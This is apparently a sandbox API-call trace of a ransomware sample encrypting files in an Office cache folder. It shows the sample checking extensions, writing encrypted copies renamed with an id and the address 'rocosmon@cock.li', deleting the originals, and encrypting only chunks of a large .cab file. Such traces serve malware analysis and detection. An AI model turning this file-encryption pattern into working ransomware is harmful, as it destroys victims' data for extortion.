	[0100.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0100.275] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.275] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0100.275] GetLastError () returned 0x0
	[0100.275] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x80760, lpOverlapped=0x0) returned 1
	[0100.320] WriteFile (in: hFile=0x1d0, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0x80770, lpOverlapped=0x0) returned 1
	[0100.336] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.336] WriteFile (in: hFile=0x1d0, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0100.336] SetEndOfFile (hFile=0x1d0) returned 1
	[0100.336] CloseHandle (hObject=0x1d0) returned 1
	[0100.336] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.336] SetEndOfFile (hFile=0x1e4) returned 1
	[0100.342] CloseHandle (hObject=0x1e4) returned 1
	[0100.342] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.342] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1
	[0100.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.343] lstrlenW (lpString=".doc") returned 4
	[0100.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0100.343] lstrlenW (lpString=".docx") returned 5
	[0100.343] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0100.343] lstrlenW (lpString=".pdf") returned 4
	[0100.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0100.343] lstrlenW (lpString=".xls") returned 4
	[0100.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0100.343] lstrlenW (lpString=".xlsx") returned 5
	[0100.343] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0100.343] lstrlenW (lpString=".ppt") returned 4
	[0100.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0100.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.343] lstrlenW (lpString=".zip") returned 4
	[0100.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0100.343] lstrlenW (lpString=".rar") returned 4
	[0100.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0100.343] lstrlenW (lpString=".bz2") returned 4
	[0100.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0100.343] lstrlenW (lpString=".7z") returned 3
	[0100.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0100.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.343] lstrlenW (lpString=".dbf") returned 4
	[0100.343] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0100.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.343] lstrlenW (lpString=".1cd") returned 4
	[0100.343] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0100.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.343] lstrlenW (lpString=".jpg") returned 4
	[0100.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0100.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.344] lstrlenW (lpString=".doc") returned 4
	[0100.344] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0100.344] lstrlenW (lpString=".docx") returned 5
	[0100.344] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0100.344] lstrlenW (lpString=".pdf") returned 4
	[0100.344] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0100.344] lstrlenW (lpString=".xls") returned 4
	[0100.344] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0100.344] lstrlenW (lpString=".xlsx") returned 5
	[0100.344] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0100.344] lstrlenW (lpString=".ppt") returned 4
	[0100.344] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0100.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.344] lstrlenW (lpString=".zip") returned 4
	[0100.344] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0100.344] lstrlenW (lpString=".rar") returned 4
	[0100.344] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0100.344] lstrlenW (lpString=".bz2") returned 4
	[0100.344] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0100.344] lstrlenW (lpString=".7z") returned 3
	[0100.344] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0100.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.344] lstrlenW (lpString=".dbf") returned 4
	[0100.344] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0100.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.344] lstrlenW (lpString=".1cd") returned 4
	[0100.345] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0100.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74
	[0100.345] lstrlenW (lpString=".jpg") returned 4
	[0100.345] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0100.345] lstrcmpiW (lpString1=".exe", lpString2=".4k") returned 1
	[0100.345] lstrlenW (lpString="dwtrig20.exe") returned 12
	[0100.345] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0100.345] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=519584) returned 1
	[0100.345] CloseHandle (hObject=0x1e4) returned 1
	[0100.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020
	[0100.345] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0100.346] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.346] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0100.346] GetLastError () returned 0x0
	[0100.346] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x7eda0, lpOverlapped=0x0) returned 1
	[0100.720] WriteFile (in: hFile=0x1d0, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0x7edb0, lpOverlapped=0x0) returned 1
	[0100.729] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.729] WriteFile (in: hFile=0x1d0, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0100.729] SetEndOfFile (hFile=0x1d0) returned 1
	[0100.891] CloseHandle (hObject=0x1d0) returned 1
	[0100.892] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.892] SetEndOfFile (hFile=0x1e4) returned 1
	[0100.897] CloseHandle (hObject=0x1e4) returned 1
	[0100.897] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.897] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1
	[0100.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.897] lstrlenW (lpString=".doc") returned 4
	[0100.898] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0100.898] lstrlenW (lpString=".docx") returned 5
	[0100.898] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0100.898] lstrlenW (lpString=".pdf") returned 4
	[0100.898] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0100.898] lstrlenW (lpString=".xls") returned 4
	[0100.898] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0100.898] lstrlenW (lpString=".xlsx") returned 5
	[0100.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0100.898] lstrlenW (lpString=".ppt") returned 4
	[0100.898] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0100.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.898] lstrlenW (lpString=".zip") returned 4
	[0100.898] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0100.898] lstrlenW (lpString=".rar") returned 4
	[0100.898] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0100.898] lstrlenW (lpString=".bz2") returned 4
	[0100.898] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0100.898] lstrlenW (lpString=".7z") returned 3
	[0100.898] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0100.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.898] lstrlenW (lpString=".dbf") returned 4
	[0100.898] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0100.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.898] lstrlenW (lpString=".1cd") returned 4
	[0100.898] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0100.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.898] lstrlenW (lpString=".jpg") returned 4
	[0100.898] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0100.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.899] lstrlenW (lpString=".doc") returned 4
	[0100.899] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0100.899] lstrlenW (lpString=".docx") returned 5
	[0100.899] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0100.899] lstrlenW (lpString=".pdf") returned 4
	[0100.899] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0100.899] lstrlenW (lpString=".xls") returned 4
	[0100.899] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0100.899] lstrlenW (lpString=".xlsx") returned 5
	[0100.899] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0100.899] lstrlenW (lpString=".ppt") returned 4
	[0100.899] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0100.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.899] lstrlenW (lpString=".zip") returned 4
	[0100.899] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0100.899] lstrlenW (lpString=".rar") returned 4
	[0100.899] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0100.899] lstrlenW (lpString=".bz2") returned 4
	[0100.899] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0100.899] lstrlenW (lpString=".7z") returned 3
	[0100.899] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0100.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.899] lstrlenW (lpString=".dbf") returned 4
	[0100.899] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0100.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.900] lstrlenW (lpString=".1cd") returned 4
	[0100.900] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0100.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0100.900] lstrlenW (lpString=".jpg") returned 4
	[0100.900] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0100.900] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0100.900] lstrlenW (lpString="OfficeLR.cab") returned 12
	[0100.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0100.900] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=14127746) returned 1
	[0100.900] CloseHandle (hObject=0x1e4) returned 1
	[0100.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020
	[0100.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.901] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0100.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0101.015] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0101.015] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.016] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.073] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.073] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.175] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.175] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.175] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.272] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.272] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0101.290] SetEndOfFile (hFile=0x1ac) returned 1
	[0101.290] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0101.290] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.290] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.291] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.292] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.292] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0101.292] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0101.294] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0101.294] CloseHandle (hObject=0x1ac) returned 1
	[0101.294] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0101.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.295] lstrlenW (lpString=".doc") returned 4
	[0101.295] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0101.295] lstrlenW (lpString=".docx") returned 5
	[0101.295] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0101.295] lstrlenW (lpString=".pdf") returned 4
	[0101.295] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0101.295] lstrlenW (lpString=".xls") returned 4
	[0101.295] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0101.295] lstrlenW (lpString=".xlsx") returned 5
	[0101.295] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0101.295] lstrlenW (lpString=".ppt") returned 4
	[0101.295] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0101.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.295] lstrlenW (lpString=".zip") returned 4
	[0101.295] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0101.295] lstrlenW (lpString=".rar") returned 4
	[0101.295] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0101.295] lstrlenW (lpString=".bz2") returned 4
	[0101.295] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0101.295] lstrlenW (lpString=".7z") returned 3
	[0101.295] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0101.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.295] lstrlenW (lpString=".dbf") returned 4
	[0101.295] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0101.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.295] lstrlenW (lpString=".1cd") returned 4
	[0101.295] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0101.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.295] lstrlenW (lpString=".jpg") returned 4
	[0101.296] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75
	[0101.296] lstrlenW (lpString=".doc") returned 4
	[0101.296] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString=".docx") returned 5
	[0101.296] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0101.296] lstrlenW (lpString=".pdf") returned 4
	[0101.296] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString=".xls") returned 4
	[0101.296] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0101.296] lstrlenW (lpString=".xlsx") returned 5
